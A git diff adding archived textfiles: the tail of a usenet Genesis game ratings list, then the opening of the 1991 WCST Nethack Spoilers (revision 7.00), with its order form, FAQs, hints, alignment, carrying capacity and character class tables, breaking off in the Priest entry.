Beast + .1...1.51. 6 6.8 Shining In The Darkness + ..33.3.... 3 4.3 Shove It! + * ......*... 1 7.0 Slaughtersport + .....00143 64 9.1 Sonic The Hedgehog + .11.141... 7 5.0 Space Harrier II + ...011141. 19 7.2 Spiderman + ...1...3.5 6 8.3 Star Control + .0...0321. 11 7.1 Starflight + .....*.... 1 6.0 Stormlord + ...*...... 1 4.0 Street Smart + .....0.251 24 8.8 Streets Of Rage + ....012400 22 7.3 Strider + ....216... 8 6.4 Super Hang-On + .0.0..2420 19 7.6 Super Monaco G.P. + .222.4.... 5 4.2 Super Thunderblade + 3121.1.... 8 2.6 Sword Of Sodan + ..2...62.. 5 6.4 Sword Of Vermillion + ..22.22... 4 5.0 Target Earth + ..0.11321. 18 6.9 Thunder Force II + ..0.011310 27 7.6 Thunder Force III + 0.0.003011 24 7.2 Toejam & Earl + ....11611. 10 7.0 Tommy Lasorda Baseball + .....2.8.. 5 7.6 Trouble Shooter + ...1.242.. 9 6.7 Truxton + .....55... 2 6.5 Twin Cobra + 5....5.... 2 3.5 Ultimate Qix + .2.4..4... 5 4.8 Valis III + ....5.5... 2 6.0 Vapor Trail + * ..*....... 1 3.0 Wanderers From Ys III + * ........*. 1 9.0 Warsong + ..22222... 5 5.0 Whip Rush + ........*. 1 9.0 Wings Of Wor + ...*...... 1 4.0 Wonderboy III + ..2.22.2.. 4 5.5 World Championship Soccer + ...55..... 2 4.5 Wrestle War + .....*.... 1 6.0 Zany Golf + .......*.. 1 8.0 Zero Wing + .....3..6. 3 8.0 Zoom! + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/spoil700.nh b/textfiles.com/games/spoil700.nh new file mode 100644 index 00000000..3b9b8d9c --- /dev/null +++ b/textfiles.com/games/spoil700.nh @@ -0,0 +1,5425 @@ + + _ _ _ ____ ____ _____ + | | | | | __| | __| |_ _| ----------- + | | | | | |__ |__ | | | ANNOUNCES + |_____| |____| |____| |_| ----------- + + -------------------------------------------------------------- + The absolute best resource file for nethack just got better! + -------------------------------------------------------------- + + PRESENTING: + + The Nethack Spoilers + Revision 7.00 + Copyright 1991, Paul Waterman + +This file contains revision 7.00 of the WCST Spoilers. Revision 7.00 +incorporates more changes than any previous release of the spoiler files. +Many new sections have been added, and the entire file has been re-arranged +for maximum usefulness. In addition, extensive formatting changes have been +done in order to make the tables and text as readable as possible. +Essentially, the entire file has been revised. + +For revision 7.00, we will be trying something unique. We will be releasing +the spoiler files in ASCII format on rec.games.hack and comp.sources.games +(and we have an ongoing commitment to continue doing so in future releases). +However, in addition, we will be offering a laser printed version of the +spoilers for sale. + +The commercial version is beautifully formatted on a desktop publishing +system, and includes "extras" that the public release doesn't have such as +page numbers, a table of contents, a complete index, and eye-pleasing +graphics. The entire 100+ pages is spiral bound with durable covers for +those late night hacking sessions. Additionally, the commercial version +includes a useful command summary sheet and several "cheat sheets." One of +these cheat sheets has a complete summary of all objects available within the +game, and there are also cheat sheets for each object type, which include +complete price lists, check-off lists, and identifying information. + +This commercial version is available for $13, plus $2.00 postage and +handling. Also, quantity discounts are available with as few as five copies, +so get together with some fellow nethackers from your site and take advantage +of the lowest price you can get. + +Simply fill out the following form and send it in to get your copy of the +WCST Nethack Spoilers: + + ----------------------------------------------------------------- + Remit to: Paul Waterman + WCST Spoilers, 817 College Ave. #1, Wheaton, IL 60187 + Phone: (708) 682-5085 + ----------------------------------------------------------------- + + Quantity Item Price + + ________ WCST Spoiler File @ $13 each (1-4 copies) $________ + @ $12 each (5-10 copies) + @ $11 each (11-15 copies) + @ $10 each (16+ copies) + + Postage and Handling + + (U.S. and Canada) @ $2 each (1-15 copies) + @ FREE (16+ copies) + + (Foreign) @ $5 each (1-15 copies) + @ $2 each (16+ copies) $________ + + TOTAL $________ + + Check or money order payable in U.S. dollars accepted. + + + Name: ________________________________________________________ + + Address: ________________________________________________________ + + ________________________________________________________ + + ________________________________________________________ + + + _ _ _ ____ ____ _____ + | | | | | __| | __| |_ _| + | | | | | |__ |__ | | | + |_____| |____| |____| |_| + + -| |- + -| |- [-_-_-_-_-_-_-_-] -| |- + [-_-_-_-_-] | | [-_-_-_-_-] + | o o | | o o o | | o o | + | | | | | | + | |__-__| |__-__| | + | o | | o | | o | + | | o o | _____ | o o | | + _____----- | | | |:::| | | | -----_____ + | | | |:::| | | | + _-_-|_____|-----|____|:::|____|-----|_____|-_-_ + ( (__________---_________________---__________) ) + + ------------- + PRESENTS... + ------------- + + The Nethack Spoilers + Revision 7.00 + Copyright 1991, Paul Waterman + All Rights Reserved + +Copyright Paul Waterman, 1991. All rights reserved. + +This document (hereafter referred to as the "public" version of the WCST +Nethack Spoiler File, or just "the spoilers") is copyrighted material and is +*not* in the public domain. Permission is hereby granted to you (the user) +to distribute copies of this document, subject to the following conditions: + +1) The spoilers may be electronically distributed only in unmodified form. +Any such distribution must contain the complete document, including the title +page, copyright notices, and this section. + +2) The spoilers may be distributed in other than electronic form, +(specifically, in the form of a printout) only as a direct, unmodified dump +of the complete document. For instance, if you were to print out a copy of +the spoilers for distribution, that printout must be an unmodified dump of +the complete document. Reformatting this document to include multiple +fonts, graphics, or line drawing, for instance, for distribution is +specifically prohibited. + +3) No fee may be charged for the copying or distribution of the spoilers +other than compensation which shall match the cost of materials for that +distribution (i.e., you cannot charge for time/labor), not to exceed $5 US. +(Examples: If you were to print the spoilers out for a friend and the paper +cost you $0.25, you could ask your friend for $0.25 - not a penny more.) + +4) The spoilers may not be distributed free in conjunction with any other +product without the written consent of the author. + +This document has been compiled from various sources (including play, usenet +e-mail and news groups, long term experience, source code, and general +hearsay). Information in this file has been verified as well as possible. +However, information in this document is not guaranteed to be correct, is +subject to change without notice, and does not represent a commitment on the +part of the author. + +Paul Waterman and WCST are not affiliated with any other group, including but +not limited to the Nethack Development Team or Wheaton College. + +Special thanks to: + Alan Light, for the original compilation of rec.games.hack postings. + Dan Reifsnyder, for the great graphics. + Ken Roth, for proving that a human could beat my script to play nethack. + Laura Waterman, for constant encouragement and intelligent questions. + Peter Waterman, for showing me what a great artist you are. + +----------------------------------------------------------------------------- +Table of Contents: + +The Beginning + Introduction + Revision Numbers + Credits + Using The Spoilers +Commonalities and Generalities + Common Questions + General Hints +The Character + Alignment + Carrying Capacity + Character Classes + Character Stats + Score + Status Line +The Beasts + Monster Attacks + Monster Information +The Dungeon + Castle Level + Special Levels +The Game + Damage + Fountain Effects + Game Messages + Hit Probability + Kicking + Luck + Magic + Pets + Praying + Removing Curses + Robbing Shops + Sink Effects + Survival + Throne Effects + Unicorn Horns + Wishes +The Items + Amulets + Identifying Amulets + Armor + Armor Effects + Identifying Armor + Food + Food - Corpses + Gems + Potions + Potion Quaffing Effects + Potion Throwing Effects + Potion Vapor Effects + Identifying Potions + Ring Effects + Identifying Rings + Scrolls + Scroll Effects + Confused Scroll Effects + Identifying Scrolls + Spellbooks + Tools + Tool Effects + Identifying Tools + Wands + Wand Effects + Identifying Wands + Weapons + Artifacts +Appendices + Nethack Abuse + Expected In Version 3.1 + + + ---------------------------------------------------------- + | The Beginning | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Introduction: + +Once upon a time, there was a game called hack. Hack was a pretty good game, +and a lot of people really enjoyed playing it. Then a strange and wonderful +creature called "The Dev Team" got hold of it, and hack was never the same +again. For starters, it suddenly got a name change, and was called nethack. +But the biggest change was in the game itself. No longer was it a fun +afternoon show to watch in black and white on a nine inch set. It suddenly +became a three dimensional color holovision show with dolby surround sound +and much, much more. (Our thanks to the dev team for a job well done.) + +The problem with this is that people started getting addicted to the action, +the adventure, their character getting killed over and over again... In +order to prevent the untimely demise of characters whose rated lifespan was +about double the actual lifespan, a bunch of people came together and began +giving each other hints about how to dodge that nasty shopkeeper, and how to +get rid of that awful wizard, and this worked well... for a time. + +There was still a problem with this, though, for once the suggestion was +given, unless carefully hoarded away, it was gone forever, and there were +always new people who hadn't heard the suggestions. Thus, the nethack +spoiler file was created. + +Within this file is a large collection of lore about the game of nethack. +Some of it may not be true, but we have made the best effort possible to +verify all of the information contained herein. Much of it has been +verified, corrected, or added since the original posting of revision one on +the net. + +Also, we would like to request that any corrections, modifications, +suggestions, etc. be e-mailed directly to nhspoil@wheaton.UUCP and not posted +to the net. We will attempt to verify any information sent us and then we +will both add it to the spoiler file (for the next release) and post an +official correction/addition to rec.games.hack. + +Note: Please do not send e-mail to us asking for a copy of the spoilers or +for a copy of nethack itself (or the source code, etc.). We do not honor +these requests, and often just ignore them. + +Be warned: If you use the knowledge contained herein, your game will never +be the same. Your horizons will suddenly be expanded, but you may end up +thinking that the game is less than it once was. That is the risk you must +take if you choose to read this file. + +Good luck, and happy hacking! + +----------------------------------------------------------------------------- +Revision Numbers: + +In order to keep a decent idea of how the spoiler file is progressing, we +have set up an official policy on how Revision Numbers will change. Any +minor revisions corrections or amplifications will advance the revision +number by .01. New sections added (such as this one), or complete re-writes +of existing sections will advance the revision number by .10. Any complete +rewrite of the entire file (just in case - it might actually happen) will +advance the revision number to the next integer. + +----------------------------------------------------------------------------- +Credits: + +Well, this should actually be a very large list. Among others, it should +include almost everyone who has posted any hints of value to the net within +about the last year (or even longer in some cases). Some people who have +made contributions to the cause of these spoilers above and beyond the call +of duty, however, are listed here: + + Kenneth Arromdee + Bill de Beaubien + Alan Edwards + Walter Fergusson + David Goldfarb + Laurence Gordon + Kate Gregory + Dolf Grunbauer + David Hairston + Michael Heggen + Douglas Henke + Greg Hudson + Lucas B. Kruijswijk + Alan Light + Stephen Marino + Andrew Pearce + Robert Potter + Ken Roth + Brajesh K. Singh + C. G. J. Thompson, et.al + David Throop + Steve Warren + Laura C. Waterman + Dominik Zemmler + +If any of the rest of you out there know you contributed something to the +cause, but don't see your name listed here - don't get us wrong. It's not +that we're ungrateful! We probably just nuked your name by mistake! + +Note: All names are listed in alphabetical order by last name, and not by +order of importance of contribution. + +----------------------------------------------------------------------------- +Using The Spoilers: + +There's really not much to say on this subject, other than a few intuitive +pointers. How you use the spoilers is simple: You read them, and apply the +knowledge contained within to your game of nethack. + +Those of you who are using the commercial version of the spoilers will have a +complete index at your disposal, which should aid greatly in looking up just +about anything you'd like to know about. For those of you who are using the +public version, however, we do have one major hint for getting at what you +want within the file quickly. + +The section titles tend to be fairly unique, and are always followed by a +colon. This should make it very simple to get to whatever section you want +quickly. Just load the file into your editor (or if you're on a unix system, +even use 'more' for that matter), and use the search function to look for the +section. For instance, from within more or vi, use the slash key ("/") and +what you'd like to search for ("Armor:" for example). + +This technique is also very useful for finding every reference to a +particular topic. If you'd like to know about wishing for instance, just +search for every occurance of the word "wish" in the file. + + + ---------------------------------------------------------- + | Commonalities and Generalities | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Common Questions: + +Q: I've made it to the first level of hell (probably by falling through a + trap in the castle level), but I can't find any down staircases? How + can I get down farther? +A: You'll find that if you're confused and read a scroll of teleportation + you'll get teleported to a different level. Cursed scrolls of + teleportation and level teleporters also do this. If you have teleport + control (via a ring or intrinsic), you can choose what level to teleport + to. Teleport down to about level fifty and then work your way up. + +Q: I've got the amulet, and I'm on my way up through the levels of Hell, but + I'm stuck. I'm in a relatively small area in the middle of the level, I + can't find a way out, and there's no stairway up - only one going back + down. +A: Sounds like you've found Vlad's Tower. Try going back down two levels and + exiting from the base of the tower. Then try looking in the upper left + hand corner of the maze for another stairway going up. The tower levels + always have an up staircase placed there. See the section on SPECIAL + LEVELS for more information. + +Q: I've got the amulet, and I'm on my way up, but the Wizard keeps popping in + and I'm tired of killing him. Is there anything I can do to get him off + of my case? +A: Most things you can do won't stop him from coming after you again. I saw + a post once on rec.games.hack that had about thirty suggestions, but + none of them would work. Basically, the only way to stop him from + coming after you is to exploit a "feature" of the game. Wait near the + up staircase for him. Then, throw a potion of paralysis at him. During + the 1-15 turns that he will be paralyzed, go up the staircase. He won't + come after you any more. The reason for this is that the game only + updates the paralysis counters for creatures on the same level as you - + thus, it realizes that the Wizard is still around, but paralyzed, and it + won't un-paralyze him unless you go back to that level. (Incidentally, + don't count on this working in the next version of nethack.) + +Q: I'm in the endgame and I'm in a long hallway that runs north-south. I + can't seem to find a secret door, though, and I can't teleport. How do + I get to the other side of the level? +A: Be patient and keep searching. There's a secret door in the upper left + wall of the corridor. However, there's a lot of nasty creatures in the + center of the endgame level, so if you're willing to sacrifice the + experience, and you can polymorph, it might be better to turn into a + xorn and go around the center area. + +Q: I've heard a lot about "named weapons," but I can't seem to get one. How + can I get one? +A: Well, there are five ways of getting named weapons, also known as + artifacts. The first, and perhaps most obvious one, is to wish for it. + When you are asked what you want to wish for, type "a (blessed) (+n) + [weapon type] named [name]," where blessed and +n (be sure to substitute + a number for n!) are optional, and the weapon type is correct for that + named weapon (see the ARTIFACTS section and WISHING section for more + information). Another way to get a named weapon is to have it given to + you by your deity. If you sacrifice (#offer) enough, eventually you + will probably see an object appear at your feet. This will be a named + weapon. A third way to get a named weapon is to find it. Some of them + will just be randomly generated (although very rare), so be on the + lookout. You will know it's named when you pick it up - it's not + necessary to identify it. You can also gain some of the named weapons + by simply finding the appropriate weapon type and using the #name + command. Sting and Orcrist are notable in this regard. Finally, you + can get Excalibur by #dipping a normal longsword in a fountain (see + FOUNTAIN EFFECTS for more details about this). + +Q: I was playing a character and he/she got polymorphed into a new human. I + was asked to give the character a different name, and now I can't get + the character back. What do I do? +A: Nethack allows you to have multiple characters with different names, and + whenever nethack saves a character it always uses the character's name, + regardless of whether that character used to have a different name. In + order to access a character of a particular name (or start one with a + different name), the easiest thing is to give nethack a -u flag and your + name. For instance, type "nethack -u name" where "name" is your + character's name ("Endiel" in my case - and I'll send you updates to the + spoilers if you can figure out where it came from). + +Q: I was playing nethack when I hit the '!' key by mistake. Now I'm sitting + at my prompt, and I don't know what's happened to my game. What gives? +A: In nethack, the '!' key will create a shell for you. What this does is + allow you to quickly pop out of nethack in order to do stuff, without + messing up your nethack game. On most systems, you can exit the shell + and get back to your nethack game by typing "exit." + +Q: I've found a hawaiian shirt lying around, and I've heard them mentioned in + the spoilers. What use are they? +A: Basically, Hawaiian shirts let you effectively drop your AC by several + more points, as they can be worn under a suit of armor (the more pieces + of armor, the better the possible AC). When not enchanted, they don't + do much good (and actually can do harm, as shopkeepers will try to cheat + you if they see it). But if it's enchanted and under a suit of armor or + cloak (where the shopkeeper can't see it), it can be quite useful. + +Q: I've been punished, and I can't stand lugging around this ball and chain. + What can I do to get rid of it? +A: There are several ways to accomplish this. In the meantime, though, + unless you have a pretty good weapon, pick up the iron ball and wield + it. To get it off, try reading a scroll (or casting a spell) of remove + curse. Or, try feeding it to a rust monster, rock mole, or iron golem. + A nymph may steal it. Or, you can polymorph into a rust monster, rock + mole, or iron golem, and eat it yourself. Finally, you can polymorph + into a nymph and remove it. Note that lock-picks and keys won't work to + get it off. + +Q: I've come up with some cool ideas for additions/modifications to nethack. + What should I do with them? +A: You should send your ideas (also bugs) to nethack-bugs@linc.cis.upenn.edu. + Don't expect to receive back a confirmation that they received it - the + nethack-bugs account receives a lot of mail. + +Q: I'm interested in making some modifications to nethack (or already have + done so), and think they would make a cool addition to the game. I'd + like to make these modifications/additions public. What should I do? +A: Once again, send some e-mail to nethack-bugs@linc.cis.upenn.edu. Here's + some hints as to what all you should send: 1) If you have already made + the modifications, make sure it is well documented with comments, and + then send the changes (*not* the whole source code) to the Dev Team (at + nethack-bugs...). 2) Send a description of the planned (or finished) + code changes and how this affects other sections of the code. 3) + Include a description of how you think the idea will impact the game, + and why you think your idea is good or necessary. 4) Be prepared for a + rejection on grounds that appear totally arbitrary to you. If you do, + consider the reasons given and think about re-working your ideas and + repeating the process. 5) If you really think your ideas are worthwhile + but the Dev Team refuses to agree (possible, but unlikely), consider + distributing them as optional add-ons through net newsgroups such as + rec.games.hack and comp.sources.games. + +Q: I have these spoilers, but where can I get a copy of nethack from? +A: Please don't send e-mail to us! We're not in the habit of sending out + copies of nethack, and rarely reply to messages asking where to get it + from. Information is posted on a regular basis on rec.games.hack about + where to get the latest version of nethack. + +Q: I was playing nethack via modem from my personal computer when I lost the + connection. I dialed back into the system immediately, and my login was + sitting there idle, still playing nethack. What should I do to get it + to save out? +A: This problem tends to happen only on unix systems. If you're non- + technical, and don't know much about unix, you should contact the games + administrator, system administrator, or any person with superuser + priveleges and ask them to "please send a hangup signal to my nethack + process." If you know a little more, you might want to try doing this + yourself. First of all, find the process ID (PID) of the nethack + process. This can be accomplished with the 'ps' command (see your + manual for more information about the ps command). Next, use the 'kill' + command to send a 'HUP' (hangup) to the process (again, see your manual + for more information about the kill command). Don't send a 'KILL' + signal, as this will cause the game to die instantly and not save. + Sending a 'HUP' should cause the program to exit, saving your game, and + you should then be able to load it in again normally. If the computer + won't allow you to kill the process, your nethack game is probably + running with special priveleges, and you'll need to contact the games + administrator, system administrator, or a superuser in order to send it + a hangup signal. + +----------------------------------------------------------------------------- +General Hints: + +Lizard corpses, like food rations, won't ever spoil. +It is a great idea to give like-aligned priests 400*your level in gold. +If you attack a rival priest in his temple, his god will fight for him, so + make it your temple first (i.e. convert the altar). +A guaranteed way to change your alignment is to kill a unicorn of your + alignment and offer the fresh corpse at an altar of the god whose + alignment you wish to convert to. +Friendly monsters may become tame if you give them the right food (try + tripe). +Zombie and mummy corpses are already old corpses, so can't be sacrificed + (however, they can be eaten before they spoil). +The bigger the sacrifice, the better the reward. +Eating a clove of garlic cures lycanthropy. Prayer can too. +A ring of warning warns: white, pink, red, ruby, purple, and run at black. +Kicking is great for killing monsters at low levels (especially for Samurais + and Priests). +Don't kick in shop doors that are closed for inventory. +A wand of digging makes a quick way down (use '>' for the direction). +Fill trap doors with boulders. You can also cross water this way. +When dipping in holy water, amber means uncursed, light blue means blessed. +Dipping a corpse in holy water will make it take longer to rot. +Dipping a dart may identify a potion of sickness (it poisons the dart). +To make a scroll blank and or holy/unholy water normal, zap a wand of + cancellation at it. +To use a wand on yourself, use '.' for the direction. +Blessed magic lamps always give wishes if they have a charge. +When you run into a great number of statues, don't look out. +Zap monsters that engulf you with a wand of digging. +To find the mimics in a shop, walk in, then back out. +To create a scroll with a magic marker just write the name of the scroll on a + blank scroll (i.e. "magic mapping"). +If you are wearing dragon scale mail and get polymorphed, you will polymorph + into the same type of dragon as your dragon scale mail. +Being magic resistant prevents teleport traps from working properly. +You cannot pick up items while levitating, therefore it is not always good to + be levitating. However, vampire lords levitate but can pick up objects. +If you want to stop levitating, just fly over a sink, and you will. +Mirrors may be used to scare some monsters. They also, of course, kill + Medusa. +If you cannot eat it now, tin it or freeze it. +You can wield a cockatrice corpse if you're wearing gloves, but don't go down + stairs while carrying one, especially if you are overloaded. They are + wonderful for clearing out zoos, barracks, and throne rooms. +To determine whether an item is blessed, regular, or cursed, drop it on an + altar. If the glow is amber, it's blessed. Black means cursed. +Dropping water or unholy water at a lawful altar will turn it into holy + water. +Dropping water (holy or unholy) at a neutral altar will make it normal water. +Dropping water or holy water at a chaotic altar will make it unholy water. +A ring of levitation will protect you from a xan (they're real short). +It is possible to lose telepathy if you are not chaotic and you kill a + peaceful human. +Gremlins can steal intrinsics from you. +It is possible to jump through an escaped trapdoor by hitting '>'. + + + ---------------------------------------------------------- + | The Character | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Alignment: + +Every character and monster in nethack has an alignment. Even some objects +(specifically artifacts, or named weapons) have alignments. Describing +exactly what alignment is and what it entails is tricky, however. Expressed +simply, alignment is what side you've aligned yourself with - good, evil, or +neither. What is considered "good" and "evil" in nethack is very much the +traditional medieval picture of good and evil. Thus, a brief description of +the three alignments and the behavior expected from a character of that +alignment follows: + +Chaotic: A chaotic character has basically aligned him/herself with the side +of evil. He/she likes doing things that would normally be considered "bad" +just for the joy of it. Chaotics tend to have the attitude of "looking out +for number one." A chaotic character will probably kill anything that walks, +just for fun, and will tend to rob shops as a principle. + +Neutral: Neutrality tends to be a refusal to take sides. The attitude of a +neutral is basically "live and let live." A character who is neutral +probably won't kill creatures that aren't bothering it, but won't have any +qualms about killing those that do. A neutral character won't really care +about robbing from shops, as long as it will benefit him/her. + +Lawful: A lawful character has aligned him/herself with the side of good. +He/she will tend to follow societal rules, even if it won't benefit him/her. +A lawful character will have the attitude that "there is a higher good." +Lawful characters usually will try to befriend other creatures, but may +attempt to hunt down and kill those creatures that are by their very nature +"evil." (Chaotic monsters especially would be considered to be "evil" by a +lawful type.) A lawful character would never even think of robbing a shop. + +Now, here's how alignment works in nethack: There is a number associated +with your alignment, which will determine if you are "stridently aligned," +etc. This number is increased for every action you perform which is in +keeping with your alignment, and decreased for every action you perform which +would be against your alignment. Thus, if a lawful character were to rob a +shop or kill a lawful creature, this alignment would be decreased. If a +chaotic character, on the other hand, were to do the very same thing, the +number would be increased. + +----------------------------------------------------------------------------- +Carrying Capacity: + +In order to compute the carrying capacity of a character, you need to know +three things: the character's strength, level, and if either leg is wounded. +Strength is divided into two parts, and is shown as str/nn. Str ranges from +1 to 18 (and can jump to 25 with gauntlets of power), and nn ranges from 01 +to ** (** is used since 100 won't fit in the two digit space). + +There are two different methods for computing your carrying capacity, +depending on how your game of nethack was originally compiled. On most +systems, nethack is compiled with the HARD option set to on. If that is the +case on your system, use Method 1 for computing your carrying capacity. If +your system has HARD set to off, use Method 2 for computing your carrying +capacity. + +In either case, how strength affects carrying capacity varies depending upon +the strength. The character's level is always multiplied by five and added +into the carrying capacity (although in Method 1, you only can count the +first 16 levels for this), and finally, for each wounded leg (either the +left, right, or both can be wounded) you have to subtract ten from the +carrying capacity. Thus, the formulae for figuring out your carrying +capacity are as follows: + +Method 1: +----------------------------------------------------------------------------- +| Strength | Capacity | +|---------------------------------------------------------------------------| +| 1-18 | 5*level + 5*str - 10*(wounded legs) | +| 18/01-25 | 5*level(up to level 16) + 40 - 10*(wounded legs) | +----------------------------------------------------------------------------- + +Method 2: +----------------------------------------------------------------------------- +| Strength | Capacity | +|---------------------------------------------------------------------------| +| 1-18 | 5*level + 5*str - 10*(wounded legs) | +| 18/01-18/50 | 5*level + 90 + nn - 10*(wounded legs) | +| 18/51-18/75 | 5*level + 140 + 2*(nn-50) - 10*(wounded legs) | +| 18/76-18/90 | 5*level + 190 + 3*(nn-75) - 10*(wounded legs) | +| 18/91-18/95 | 5*level + 235 + 5*(nn-90) - 10*(wounded legs) | +| 18/96-18/99 | 5*level + 260 + 10*(nn-95) - 10*(wounded legs) | +| 18/** | 5*level + 410 - 10*(wounded legs) | +| 25 | 5*level + 380 - 10*(wounded legs) | +----------------------------------------------------------------------------- + +Interestingly enough, with Method 2, a strength of 25 doesn't allow as much +of a carrying capacity as 18/** does. + +In either case, when you are levitating, your carrying capacity is +automatically at maximum. + +----------------------------------------------------------------------------- +Character Classes: + + +The Archeologist +----------------------------------------------------- +| Starting equipment: | +| 1 uncursed or blessed +2 bull whip | +| 1 uncursed of blessed +0 leather armor | +| 1 uncursed or blessed +0 fedora | +| 3 uncursed food rations | +| 1 uncursed or blessed +(random) pick axe | +| 1 uncursed or blessed tinning kit | +| 1 uncursed sack | +| 10% chance of 1 uncursed tin opener - otherwise | +| 25% chance of 1 uncursed lamp - otherwise | +| 10% chance of 1 uncursed magic marker | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Digger | speed, stealth | +| 2 | Digger | | +| 3-5 | Field Worker | | +| 6-9 | Investigator | | +| 10 | Exhumer | searching | +| 11-13 | Exhumer | | +| 14-17 | Excavator | | +| 18-21 | Spelunker | | +| 22-25 | Speleologist | | +| 26-29 | Collector | | +| 30 | Curator | | +----------------------------------------------------- +Alignment: Lawful + +The archeologist in nethack is basically an Indiana Jones clone. The +clothing is the same, the abilities are the same, and to all intents and +purposes, the goals are the same: Survive, explore, and bring back lots of +exotic treasures! + +The archeologist starts with the innate ability to identify any gem. + + +The Barbarian +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 two-handed sword | +| 1 uncursed or blessed +0 axe | +| 1 uncursed or blessed +0 ring mail | +| 1 uncursed food ration | +| 17% chance of 1 uncursed lamp | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Plunderer | poison resistance | +| 2 | Plunderer | | +| 3-5 | Pillager | | +| 6 | Bandit | | +| 7 | Bandit | speed | +| 8-9 | Bandit | | +| 10-13 | Brigand | | +| 14 | Raider | | +| 15 | Raider | searching | +| 16-17 | Raider | | +| 18-21 | Reaver | | +| 22-25 | Slayer | | +| 26-29 | Chieftain | | +| 30 | Conqueror | | +----------------------------------------------------- +Alignment: Chaotic + +Conan was, is, and always will be the classic example of a barbarian. Good +wine, good food, good money, and good women are what a barbarian considers to +be the most important aspects of life, and they will do almost anything in +their pursuit of these things, including delving deep into the dungeons of +nethack. + + +The Caveman +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +1 club | +| 1 uncursed or blessed +1 bow | +| 13-42 uncursed or blessed +0 arrows | +| 1 uncursed or blessed +0 leather armor | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1-2 | Troglodyte | | +| 3-5 | Aborigine | | +| 6 | Wanderer | | +| 7 | Wanderer | speed | +| 8-9 | Wanderer | | +| 10-13 | Vagrant | | +| 14 | Wayfarer | | +| 15 | Wayfarer | warning | +| 16-17 | Wayfarer | | +| 18-21 | Roamer | | +| 22-25 | Nomad | | +| 26-29 | Rover | | +| 30 | Pioneer | | +----------------------------------------------------- +Alignment: Lawful + +"You Jane, Me Stupid." That about sums up the eloquent vocabulary, stunning +personality, and puissant brain-power of a caveman. + + +The Elf +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 elven short sword | +| 1 uncursed or blessed +0 elven bow | +| 16-35 uncursed or blessed +0 elven arrows | +| 50% chance of 1 uncursed or blessed +0 mithril | +| otherwise 1 uncursed or blessed +0 elven cloak | +| 2 uncursed lembas wafers | +| 20% chance of 1 uncursed blindfold - otherwise | +| 17% chance of 1 uncursed lamp | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Edhel | searching, see invis. | +| | | sleep res., speed | +| 2-5 | Edhel | | +| 6-9 | Ohtar | | +| 10-13 | Kano | | +| 14-17 | Arandur | | +| 18-21 | Hir | | +| 22-25 | Aredhel | | +| 26-29 | Ernil | | +| 30 | Elentar | | +----------------------------------------------------- +Alignment: Lawful + +Elves are hardy folk of humanoid stock. Nethack elves are fashioned after +Tolkien's elves, and as such are tall, thin, and light of foot. Elves have +excellent vision, and thus are more likely to notice things like secret +doors. + + +The Healer +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 scalpel | +| 1 uncursed or blessed +1 pair of leather gloves | +| 1 uncursed stethoscope | +| 4 uncursed or blessed potions of healing | +| 4 uncursed or blessed potions of extra healing | +| 1 uncursed or blessed wand of sleep | +| 1 blessed spellbook of healing | +| 1 blessed spellbook of extra healing | +| 5 uncursed apples | +| 4% chance of 1 uncursed lamp | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1-2 | PreMed | poison resistance | +| 3-5 | Med Student | | +| 6-9 | Medic | | +| 10-13 | Intern | | +| 14 | Doctor | | +| 15 | Doctor | warning | +| 16-17 | Doctor | | +| 18-21 | Physician | | +| 22-25 | Specialist | | +| 26-29 | Surgeon | | +| 30 | Chief Surgeon | | +----------------------------------------------------- +Alignment: Lawful + +The healer has dedicated his life to medicine and have the capability to +restore hit points through their spells. Healers are not trained in the +skills of fighting, but when in need, healers can turn their sharpened +scalpel against a foe. + + +The Knight +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 long sword | +| 1 uncursed or blessed +2 spear | +| 1 uncursed or blessed +1 ring mail | +| 1 uncursed or blessed +0 helmet | +| 1 uncursed or blessed +0 small shield | +| 1 uncursed or blessed +0 pair of leather gloves | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1-2 | Gallant | | +| 3-5 | Esquire | | +| 6 | Bachelor | | +| 7 | Bachelor | speed | +| 8-9 | Bachelor | | +| 10-13 | Sergeant | | +| 14-17 | Knight | | +| 18-21 | Banneret | | +| 22-25 | Chevalier | | +| 26-29 | Seignieur | | +| 30 | Paladin | | +----------------------------------------------------- +Alignment: Lawful + +The knight is considered by many to be one of the hardest nethack characters +to play. The knight does not start with exceptional items, does not gain +much as he goes along, and is constrained by many more rules than normal +characters, because of the code of chivalry that a knight must follow. + + +The Priest +----------------------------------------------------- +| Starting Equipment: | +| 1 blessed +1 mace | +| 1 uncursed or blessed +0 chain mail | +| 1 uncursed or blessed +0 small shield | +| 4 potions of holy water | +| 1 uncursed clove of garlic | +| 2 uncursed or blessed random spellbooks * | +| 10% chance of 1 uncursed magic marker - otherwise | +| 10% chance of 1 uncursed lamp | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1-2 | Aspirant | | +| 3-5 | Acolyte | | +| 6 | Adept | | +| 7 | Adept | warning | +| 8-9 | Adept | | +| 10-13 | Priest | | +| 14-17 | Curate | | +| 18-19 | Canon | | +| 20 | Canon | fire resistance | +| 21 | Canon | | +| 22-25 | Lama | | +| 26-29 | Patriarch | | +| 30 | High Priest | | +----------------------------------------------------- +Alignment: Neutral + +The priest is a cleric who has set him/herself apart for service to his/her +deity. Priests begin the game blessed with the ability to immediately +determine whether items are cursed, 